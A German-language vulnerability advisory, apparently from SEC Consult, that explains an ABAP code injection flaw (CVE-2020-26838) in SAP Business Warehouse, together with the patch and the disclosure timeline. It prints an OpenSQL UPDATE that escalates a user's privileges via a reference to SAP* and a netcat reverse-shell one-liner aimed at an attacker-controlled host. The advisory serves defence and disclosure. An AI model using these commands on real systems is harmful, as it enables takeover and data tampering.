SAP® Privilege Escalation durch ABAP Code Injection in SAP® Business Warehouse

Titel	SAP® Privilege Escalation durch ABAP Code Injection in SAP® Business Warehouse
Typ	ABAP Code Injection
CVE-ID	CVE-2020-26838
CVSS v3 Vector	CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVSS v3 Score	9.1
Produkt	SAP Business Warehouse und SAP BW/4HANA
Versionen	SAP Business Warehouse in den Versionen 700, 701, 702, 731, 740, 750, 751, 752,753, 754, 755, 782, SAP BW4HANA, Versionen - 100, 200

Übersicht

Während einer Sicherheitsanalyse von SAP® internem Code in der SAP® Business Warehouse Komponente hat der Sicherheitsforscher Raschin Tavakoli, ein Experte des SEC Consult Sicherheit für SAP® Services, Ende 2020 festgestellt, dass der Funktionsbaustein RSDMD_BATCH_CALL der Funktionsgruppe RSDMD anfällig für eine ABAP Code Injection Schwachstelle ist. Dieses Problem erlaubt es Angreifern, mehrere Sicherheitseinschränkungen zu umgehen, um beliebige Daten im System zu lesen/verändern und ihre Privilegien auf SAP_ALL zu eskalieren - das höchstprivilegierte Profil in ABAP-basierten SAP-Systemen.

Betroffen sind alle SAP® - Kunden, die SAP® BW oder SAP® BW/4HANA im Einsatz haben. Da die Softwarekomponente SAP® BW in der Regel auch auf anderen ABAP-basierten Installationen (z. B. ERP oder Solution Manager) vorhanden ist, dürften die meisten Kundensysteme anfällig sein.

SEC Consult hat das SAP® Product Security Response Team kontaktiert und ein Patch ist seit dem Patch-Day im Dezember 2020 verfügbar. Dieser Blog-Beitrag beschreibt bisher unveröffentlichte technische Details von CVE-2020-26838 und zeigt die möglichen Auswirkungen auf geschäftskritische Systeme.

Über das Produkt

SAP Business Warehouse (BW) und sein Nachfolger SAP BW/4HANA ist ein modellgesteuertes Data-Warehousing-Produkt, das auf dem SAP NetWeaver Application Server ABAP bzw. der ABAP-Plattform basiert. Es sammelt, transformiert und speichert Daten, die in SAP- und Nicht-SAP-Anwendungen generiert werden, und macht sie über integrierte Reporting-, Business-Intelligence- und Analysewerkzeuge sowie Software von Drittanbietern zugänglich. Laut enlyft.com nutzen mehr als 15 000 Unternehmen weltweit SAP Business Warehouse, am häufigsten davon Unternehmen mit 1000-5000 Mitarbeitern und >1000 Millionen USD Umsatz.

Business Impact

ABAP-Code-Injection-Schwachstellen sind aufgrund der Natur der mächtigen Programmiersprache sehr gefährlich. Integrierte Sprachelemente und Funktionen ermöglichen einen uneingeschränkten Lese-/Schreibzugriff auf das System und lassen Angreifer sogar serverseitige Sicherheitskonzepte wie Systemmodifizierungseinstellungen umgehen. Sobald es einem Angreifer gelingt, beliebigen ABAP-Code auszuführen, kann er seine Privilegien auf SAP_ALL erhöhen. ABAP-Code-Injektionen sind selbst für Experten oft schwer nachzuvollziehen, da in vielen Fällen keine oder nur wenige Spuren hinterlassen werden. Die erfolgreiche Ausnutzung der Schwachstelle führt zu einem Verlust der Vertraulichkeit, Integrität und Verfügbarkeit der betroffenen Systeme.

Walkthrough

Der Funktionsbaustein RSDMD_BATCH_CALL der Funktionsgruppe RSDMD generiert ABAP-Code dynamisch über die Anweisung GENERATE SUBROUTINE POOL und führt ihn anschließend über die Anweisung PERFORM aus. Bei der dynamischen Generierung werden nicht vertrauenswürdige Benutzereingaben verarbeitet, ohne eine Eingabevalidierung durchzuführen. Da der Angreifer die Zeichen, die in den Eingabefeldern verwendet werden können, frei wählen kann, kann er beliebigen ABAP-Code ausführen.

In diesem Beitrag wollen wir die Art der Sicherheitslücke erklären und ihre Auswirkungen veranschaulichen. Zu diesem Zweck haben wir einen Benutzer TEST mit den notwendigen Rechten erstellt, um den verwundbaren Funktionsbaustein über die Transaktion SE37 aufzurufen. Anzumerken ist hier, dass dies allerdings für eine erfolgreiche Ausnutzung keine zwingende Voraussetzung ist, da es zahlreiche andere Möglichkeiten geben kann, die den anfälligen Code für Angreifer exponiert.

Abbildung 1: Dem Benutzer TEST zugeordnete Autorisierungsobjekte.

Der Screenshot zeigt die zugewiesenen Berechtigungsobjekte für den Benutzer TEST. Die Berechtigungen wurden für den Zweck dieser Demonstration so restriktiv wie möglich gewählt, obwohl in realen Szenarien oft Wildcards anstelle von expliziten Whitelists vorzufinden sind.

Abbildung 2: Import Parameter des Funktionsmoduls RSDMD_BATCH_CALL.

Der Funktionsbaustein RSDMD_BATCH_CALL verfügt über drei Importparameter I_REPID, I_T_VARVAL und I_JOB_SELECT, wobei die beiden Importparameter I_REPID und I_T_VARVAL zum Einschleusen von Schadcode missbraucht werden können. Der Screenshot (Abbildung 2) zeigt alle drei Importparameter.

Abbildung 3: Platzhalter eingesetzt in die Import Parameter Felder I_REPID und I_T_VARVAL.

Um das Verhalten des anfälligen Funktionsmoduls besser zu verstehen, beginnen wir damit, die Eingabefelder mit Platzhaltern zu füllen und anschließend mittels Debugger den dynamisch generierten Code zu inspizieren

Abbildung 4: Die Tabellenstruktur I_T_VARVAL mit Platzhalter-Werten befüllt.

Beim zweiten Input Parameter I_T_VARVAL handelt es sich um eine Tabellenstruktur, welche mit beliebig vielen Zeilen befüllt werden kann. Auch hier fügen wir einige Platzhalter ein, wie in Abbildung 4 zu sehen.

Abbildung 5: ABAP Debugger mit Breakpoint in Zeile 76.

Nun kann das Funktionsmodul im Debug-Modus gestartet werden und mit einem Breakpoint in Zeile 76 angehalten werden, um das dynamisch generierte Codesegment zu untersuchen.

Wenn wir die Variable L_T_ABAP[] untersuchen, sehen wir, dass der folgende Code generiert wurde (dynamische Benutzereingaben sind in roter Fettschrift dargestellt):

Da wir nun den Algorithmus besser analysieren und verstehen können, sehen wir, dass wir einige Restriktionen umgehen müssen:

Ein bereits vorhandener Report ist notwendig, damit der Code funktioniert. Es ist dabei wichtig zu wissen, dass dieser Report tatsächlich ausgeführt wird, daher sollte er sorgfältig ausgewählt werden, um keinen Schaden im System zu verursachen.
Die Länge der Felder VARNAME und VARVALUE ist auf jeweils 72 Zeichen begrenzt. Wir können jedoch beliebig viele Zeilen verwenden, so dass wir den Payload stückweise zusammenfügen können.
Zwischen VARNAME und VARVALUE werden die Zeichen = ‘ eingefügt.
Zwischen jeder Zeile und der davorliegenden, werden die Zeichen ‘ WITH eingefügt
Am Ende des User Inputs wird der folgende String angehängt: ' USER SY-UNAME VIA JOB I_JOBNAME NUMBER I_JOBCOUNT AND RETURN.

Das ist auch schon alles, was wir für unseren Proof of Concept benötigen. Im Folgenden wollen wir zuerst ein Beispiel aufzeigen, wie man die Privilegien eines Benutzers erhöhen kann. Anschließend soll ein weiteres Beispiel angeführt werden, um zu veranschaulichen, wie mittels einer ABAP Code Injection eine Reverse Shell bewerkstelligt werden kann.

Beispiel 1: Privilege Escalation mit Referenz Benutzer

Eine Möglichkeit für Privilege Escalation besteht darin, einen Verweis auf einen anderen hoch privilegierten Benutzer (z. B. den Standardbenutzer SAP*) in die Tabelle USREFUS aufzunehmen. Der Benutzer erbt dann die Privilegien des referenzierten Benutzerkontos. Zu diesem Zweck nutzen wir OpenSQL und ändern die Daten direkt auf Datenbankebene. Der folgende ABAP-Code zeigt, wie dem Benutzer TEST in der Tabelle USREFUS die Referenz zu dem Benutzer SAP* zugewiesen werden kann.

UPDATE USREFUS SET REFUSER = 'SAP*' WHERE BNAME = ‘TEST'.

Das Ganze in einen funktionierenden Payload gepackt würde folgendermaßen aussehen:

Der daraus resultierende dynamisch generierte Report sieht folgendermaßen aus:

Abbildung 6: Tabelle USREFUS mit leerer Spalte REFUSER.

Ein Blick in die Tabelle USREFUS vor Ausführung des Payloads zeigt die leere Spalte REFUSER in der Tabelle USREFUS.

Abbildung 7: Erfolgreiche Ausführung des Funktionsbausteins.

Nun ist es an der Zeit, den Funktionsbaustein mit unserem Payload auszuführen. Der dynamisch generierte ABAP-Code wird in der Programmlogik über die PERFORM-Anweisung ausgeführt und wir sehen anschließend die erfolgreiche Ausführung wie in Abbildung 7 zu sehen ist.

Abbildung 8: Die Tabelle USREFUS wurde erfolgreich geändert und eine Referenz zu dem User SAP* für den User TEST auf Mandant 000 hinterlegt.

Ein Blick in die Tabelle USREFUS zeigt, dass der Schadcode erfolgreich ausgeführt wurde.

Beispiel 2: Ausführung von Betriebssystem Kommandos mit Reverse Shell

Ein weiteres Beispiel für die Ausnutzung einer ABAP-Code-Injektionsschwachstelle wäre das Einschleusen einer Payload, die Betriebssystembefehle auf der Anwendungsserverinstanz ausführt, indem sie die Kernel-Funktion CALL SYSTEM aufruft. Auf diese Weise ausgeführte Befehle werden unter dem Kontext des administrativen Betriebssystemkontos <sid>adm ausgeführt. Somit ist es möglich, eine Reverse Shell an einen von uns kontrollierten Host zu senden.

Anzumerken ist hier, dass für das Ausführen von C Funktionen aus der ABAP-Umgebung heraus das Berechtigungsobjekt S_C_FUNCT benötigt wird.

Auf unserem Testsystem war die OpenBSD-Version von netcat vorinstalliert. Leider unterstützt sie nicht die Option -e, trotzdem ist es aber möglich einen Befehl nach Aufbau der Verbindung auszuführen, indem die Umleitungen von Dateideskriptoren verwendet werden. Ein solcher Payload könnte folgendermaßen aussehen:

mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc $ipaddress 7777 > /tmp/f

In diesem Fall ist $ipadresse unser vom Angreifer kontrollierter Rechner und Port 7777 ist der Port, an dem unser Listener auf eine eingehende TCP-Reverse-Shell wartet.

Wieder erstellen wir daraus einen angepassten Payload, der die anfangs erwähnten Restriktionen umgeht:

Im Folgenden ist zu sehen, wie der Payload in die einzelnen Tabellen-Zeilen eingefügt wurde (Abbildung 9). Indem wir den Programmablauf mit dem Debugger unterbrechen, können wir den dynamisch erzeugten Code inspizieren (User kontrollierter Input in Abbildung 10 ist in rot eingerahmt). Nach der Ausführung der PERFORM-Anweisung erhalten wir eine Reverse Shell auf unserem Listener (Abbildung 11). Mit der Möglichkeit, beliebige Befehle auf dem Betriebssystem des Anwendungsservers auszuführen, haben wir nun die volle Kontrolle über das SAP-System. Wir sind in der Lage, Systemkonfigurationsdateien zu manipulieren, Daten auf Datenbankebene durch aufgebaute Vertrauensverbindungen einzusehen und zu ändern oder einfach kritische Dienste zu beenden.

Abbildung 9: Der finale Payload eingefügt in die Tabelle I_T_VARVAL.

Abbildung 10: Dynamisch generierter ABAP-Code.

Abbildung 11: Eingehende Reverse Shell auf dem vom Angreifer kontrollierten Server.

Lösung

Die Sicherheitslücke wurde SAP® am 21. Oktober 2020 mitgeteilt und eine Freigabe des Patches mit dem SAP® Sicherheitshinweis 2983367 wurde am 07. Dezember 2020 bestätigt. Die entsprechende CVE-Nummer CVE-2020-26838 wurde reserviert.

SEC Consult empfiehlt allen SAP® Kunden, den SAP Sicherheitshinweis 2983367 sofort zu implementieren.

Weitere Informationen können unter den folgenden Links gefunden werden:

https://launchpad.support.sap.com/#/notes/2983367

https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=564757079

https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=451071888

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26838

SEC Consult bedankt sich beim SAP® Product Security Response Team für die sehr schnelle und professionelle Bearbeitung dieser Sicherheitslücke!

Dieser Security Research wurde von Raschin Tavakoli im Auftrag des SEC Consult Vulnerability Lab durchgeführt. Besonderen Dank auch an Fabian Hagg für seine Unterstützung. Beide Researcher sind Experten unseres dedizierten Sicherheit für SAP® Services, bei welchem SEC Consult unsere Kunden durch die Aufdeckung von Schwachstellen unterstützt, böswilligen Angriffen in SAP®Systemen zuvorzukommen.